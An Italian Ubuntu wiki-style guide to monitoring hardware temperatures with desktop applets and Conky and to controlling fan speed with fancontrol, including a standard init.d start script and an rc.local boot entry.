GNOME: sono disponibili diverse estensioni (Freon, Sensory Perception, system-monitor, Vitals ecc.). Cercare sul sito GNOME Extensions una compatibile con la versione di GNOME shell in uso.
KDE: sono disponibili diverse applet per monitorare le temperature. Cercare su questo sito una compatibile con la versione di Plasma in uso.
Xfce: è possibile installare il pacchetto xfce4-sensors-plugin. Fare riferimento alla pagina ufficiale del progetto per maggiori informazioni.
MATE: è possibile installare il pacchetto mate-sensors-applet. Fare riferimento alla pagina GitHub del progetto per maggiori informazioni.
Cinnamon: sono disponibili diverse applet ed estensioni per monitorare le temperature. Cercare su questo sito.
Conky
Conky è in grado di monitorare i sensori presenti sul proprio computer. Per maggiori informazioni consultare la guida dedicata.
Controllo delle ventole (20.04)
Come prerequisito, occorre installare fancontrol, come descritto in questo paragrafo.
Per controllare le ventole e la scheda madre, digitare nel terminale il seguente comando:
sudo pwmconfig
Le ventole verranno monitorate e sarà possibile modificarne la velocità. Nel caso in cui sia possibile il controllo totale, cioè fermare del tutto le ventole, è possibile creare un semplice script da lanciare all'avvio per un'ottimizzazione delle stesse.
L'arresto completo delle ventole può arrecare gravi danni all'hardware oppure, indirettamente, perdita di dati. Procedere con molta cautela.
Creare con un editor di testo e con i privilegi di amministrazione il file /etc/init.d/fancontrol e aggiungere le seguenti righe:
#!/bin/sh # # Fancontrol start script. # set -e # Defaults DAEMON=/usr/sbin/fancontrol PIDFILE=/var/run/fancontrol-pid PATH=/sbin:/bin:/usr/sbin:/usr/bin test -f $DAEMON || exit 0 . /lib/lsb/init-functions case "$1" in start) log_begin_msg "Starting fancontrol daemon..." start-stop-daemon --start -o -q -m -b -p $PIDFILE -x $DAEMON log_end_msg $? ;; stop) log_begin_msg "Stopping fancontrol daemon..." start-stop-daemon --stop -o -q -p $PIDFILE log_end_msg $? ;; force-reload|restart) sh $0 stop sh $0 start ;; *) log_success_msg "Usage: /etc/init.d/fancontrol {start|stop|restart|force-reload}" log_success_msg " start - starts system-wide fancontrol service" log_success_msg " stop - stops system-wide fancontrol service" log_success_msg " restart, force-reload - starts a new system-wide fancontrol service" exit 1 ;; esac exit 0
Rendere eseguibile lo script, digitando in un terminale il seguente comando:
sudo chmod +x /etc/init.d/fancontrol
Avviare lo script con il comando:
/etc/init.d/fancontrol start
Per interromperlo digitare il comando:
/etc/init.d/fancontrol stop
Se l'output non restituisce alcun errore, aprire il file /etc/rc.local con un editor di testo e i privilegi di amministrazione, quindi aggiungere la seguente riga:
/etc/init.d/fancontrol start
in modo da ottenere un codice simile al seguente:
#!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will "exit 0" on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing. /etc/init.d/fancontrol start exit 0
Ulteriori risorse